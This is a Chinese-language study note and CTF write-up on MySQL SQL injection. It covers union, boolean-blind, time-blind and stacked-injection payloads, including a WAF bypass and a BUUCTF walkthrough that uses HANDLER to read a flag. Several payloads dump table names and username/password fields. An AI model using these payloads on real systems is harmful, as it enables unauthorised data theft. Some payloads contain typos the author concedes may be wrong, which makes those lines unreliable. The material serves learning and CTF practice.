SQL注入
0x01:联合查询注入
常用语句:
/?id=1'and1'='2 或 /?id=1 and 1=2 //判断是字符型注入还是数字型注入
//下面以字符型为例
/?id=1'union select 1,2,3#//爆回显位
/?id=1'union select 1,2,database()#//爆数据库名
/?id=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#//爆表名
/?id=1'union select 1,2,groupconcat(column_name) from information_schema.colunms where table_name='表格名'#//爆字段名
/?id=1'union select 1,2,groupconcat(username,password) from '字段名'#//爆字段内容
ps:爆回显的行数也可以用order by3#
0x02:布尔盲注
原理是注入语句正确就会正确显示页面,错误则会报错,那么一般就通过对数据库名,表名,字段名的ASCII的大小来判断,一般用二分法不超过7~8次就能判断出来
相关函数
length() 判断字符长度
substr(a,b,c) 从b位置开始,截取字符串a的c长度
ascii() 将某个字符转换为ascii值
left(a,b) 从左侧截取a的前b位
char() 将ASCII码转换为对应的字符
常用语句:
/?id=1' and length((select database()))=8--+//判断数据库名字长度
?id=1' and ascii(substr((select database()),b,c))>96--+//就一次次试就行,说实话有点浪费时间不如扔给sqlmap或者写脚本(这里的,b,c 意思是从b位置开始,截取字符串database()的c长度)
/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))<10--+//判断长度
/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>96--+//同理
/?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>96--+//同理
/?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
布尔盲注太复杂了写不动了,后面语句不一定对,主要是再写我的精神状态就不好了。我的建议是试完弱指令不行的话就直接丢给sqlmap或者写一个python脚本,不要浪费时间在这上面。。。
0x03:时间盲注
原理是语句正确就迟几秒再返回页面,语句错误就直接返回。
sleep() 这个是关键函数
?id=1' and sleep(5) --+
?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+
payload和布尔盲注差不多,这里不再赘述。
另外我还从别的文章抄了一个这个,可以绕WAF
and(select*from(select+sleep(4))a/**/union/**/select+1)='
ps:这个其实是很久前的草稿了,继续编辑的主要原因是做了一道很有意思的题,用到了堆叠注入和handle查询命令
0x04:堆叠注入
就是show,没什么好说的
不多赘述,直接看题
题目是BUUCTF上面的
[GYCTF2020]Blacklist
进去的页面是这样的
用1'测试出这个题是字符型注入
输入select后会发现这道题告诉了我们过滤黑名单
所以这里我们用堆叠注入解题
(字段有两个,我忘截图了)
1';show databases;进行查库
1';show tables;#查表
1';show columns from FlagHere; 查字段名
但是select被过滤了,怎么看flag字段的内容呢
这时候就要请handler查询命令出山了(看的大佬思路)
handler命令查询规则
handler table_name open;handler table_name read first;handler table_name close;
handler table_name open;handler table_name read next;handler table_name close;
所以我们可以按照规则构造payload
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
就得到flag力(喜)
Black list is so weak for you,isn't it
结语
本来还想写点注入点或者常见绕过,但是写不动了,下次吧,下次一定